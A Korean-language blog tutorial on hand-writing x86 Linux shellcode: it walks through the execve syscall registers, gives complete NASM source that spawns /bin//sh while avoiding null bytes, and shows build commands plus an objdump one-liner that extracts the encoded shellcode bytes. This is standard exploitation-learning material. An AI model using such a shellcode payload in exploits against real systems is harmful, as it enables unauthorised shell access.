새소식

개발/어셈블리

Shell Code 제작 - x86,i386

  • -

Shell Code 제작 - x86,i386


[사진 1] - 대표 사진

Shell Code란?


Shell Code란 Shell(/bin/sh 등)을 실행시키는 일련의 어셈블리 코드라고 할 수 있다. 보통 Shell Code는 해당 아키텍쳐 환경에서 사용되는 함수 호출 규약을 따르기 때문에 찾아보고 직접 어셈블리 코드를 작성하며 만들어 보았다. 필자는 linux x86 환경이고 cdecl방식으로 c언어 컴파일을 진행 했다.

 

myshell 바이너리 제작


우선 본격적인 Shell Code를 제작하기 전에 해당 사이트에서 execve System Call의 인자값들을 살펴보았다.

x86 환경에서 리눅스 4.14 기준으로 System Call의 종류와 인자 값을 확인 할 수 있었다.

우리가 사용할 execve는 eax, ebx, ecx, edx이 4가지를 사용한다.

[사진 2] - System Call Table

 

확인을 위해 직접 shell.c 파일을 작성하여 아래 명령어를 통해 컴파일을 진행한다.

이때 static 옵션은 공유 라이브러리들을 모두 한파일에 묶어 컴파일 하는 옵션이다.

gcc -m32 -o shell shell.c -static

 

[사진 3] - Vi

 

warning과 함께 파일이 컴파일 되었고 실행해보니 성공적으로 쉘이 실행되어 동작함을 알 수 있다.

[사진 4] - Shell 실행 모습

 

PwnGDB를 통해 디버깅을 진행해보았다.

[사진 5] - PwnGDB 디버깅

 

execve를 call 하는 부분에서 멈춰 현재 스택상태와 레지스터 상태를 기억하고 이렇게 되도록 asm파일을 만들어 컴파일 하도록해야 한다.

[사진 6] - call execve

 

필자는 다음과 같이 스택에 직접 넣음으로써 인자값을 전달하고 shell을 실행하도록 어셈블리어를 작성했다.

처음 작성해보는거라 많이 부족하지만 계속 작성하다보면 실력이 늘지 않을까..?

여기서 mov al, 0xb는 mov eax, 0xb로 할시 Null Byte(공백)이 들어가게 되어 문제를 풀때 입력 시 중간에 입력이 끊기게된다 그래서 al로 하였다.
또한 /bin/sh도 /bin//sh로 하였는데 위와 동일한 이슈로 이렇게 작성했다. 
int 0x80은 Call을 뜻한다.

global _start

_start:
        xor eax, eax
        xor edx, edx

        push eax
        mov edx, esp
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        push eax

        push ebx
        mov eax, esp

        push edx
        push eax
        push ebx

        xor eax, eax
        xor ecx, ecx
        mov al, 0xb
        int 0x80

 

myshell.asm을 컴파일 하기 위해서는 nasm이 필요하다 아래 명령어로 설치 할 수 있다.(우분투 기준)

apt-get update && apt-get install nasm

 

아래 명령어를 통해 만든 myshell.asm 파일을 바이너리 파일로 컴파일한다.

nasm -f elf32 -o myshell.o myshell.asm
ld -m elf_i386 -o myshell myshell.o

 

정확하게 어셈블리어를 작성하고 컴파일에 성공했다면 실행 했을 때 다음과 같이 쉘이 실행 된다.

[사진 7] - 터미널

 

성공적으로 쉘이 동작한다면 myshell 파일을 objdump로 어셈블리어를 확인해본다.

이때 Null Byte(00)이 있는지 확인해 보고 있다면 없도록 다시 수정해서 컴파일 하면 된다.

 

일일히 옮겨서 적기 보단 필자는 아래 명령어를 통해 편하게 Shell Code를 얻었다.

for i in $(objdump -d ./myshell | grep "^ "|cut -f2);do echo -n \\x$i;done;echo

 

후기


어셈블리 코드를 직접 작성하여 프로그래밍 하는 것도 재미있었다. 많이 익숙해지면 엄청짧고 효율적으로 최적화 하여 작성하는것도 할 수 있지 않을까? 그때 까지 정진해야겠다.

'개발 > 어셈블리' 카테고리의 다른 글

Shell Code 제작 - x86_64  (0) 2023.03.29
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.